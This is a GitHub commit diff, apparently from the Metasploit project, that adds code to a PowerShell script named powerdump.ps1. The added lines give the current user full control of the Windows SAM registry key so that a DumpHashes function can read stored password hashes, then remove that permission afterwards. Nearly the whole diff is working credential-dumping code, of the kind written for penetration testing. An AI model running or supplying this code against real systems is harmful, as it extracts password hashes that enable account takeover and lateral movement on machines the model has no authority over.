Skip to content

Commit f5f32fa

Browse files
committed
Add token fiddling from nishang
1 parent 7ea3cd1 commit f5f32fa

File tree

1 file changed

+25
-0
lines changed

1 file changed

+25
-0
lines changed

data/exploits/powershell/powerdump.ps1

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,6 @@
1+
# PowerDump by David Kennedy Copyright 2014 The Social-Engineer Toolkit
2+
# https://github.com/trustedsec/social-engineer-toolkit
3+
# User Token Code by Nikhil Mitt ttps://github.com/samratashok/nishang
14
function LoadApi
25
{
36
$oldErrorAction = $global:ErrorActionPreference;
@@ -354,4 +357,26 @@ function DumpHashes
354357
[BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
355358
}
356359
}
360+
361+
#Set permissions for the current user.
362+
$rule = New-Object System.Security.AccessControl.RegistryAccessRule (
363+
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name,
364+
"FullControl",
365+
[System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit",
366+
[System.Security.AccessControl.PropagationFlags]"None",
367+
[System.Security.AccessControl.AccessControlType]"Allow")
368+
$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
369+
"SAM\SAM\Domains",
370+
[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
371+
[System.Security.AccessControl.RegistryRights]::ChangePermissions)
372+
$acl = $key.GetAccessControl()
373+
$acl.SetAccessRule($rule)
374+
$key.SetAccessControl($acl)
375+
357376
DumpHashes
377+
378+
#Remove the permissions added above.
379+
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
380+
$acl.Access | where {$_.IdentityReference.Value -eq $user} | %{$acl.RemoveAccessRule($_)} | Out-Null
381+
Set-Acl HKLM:\SAM\SAM\Domains $acl
382+

0 commit comments

Comments
 (0)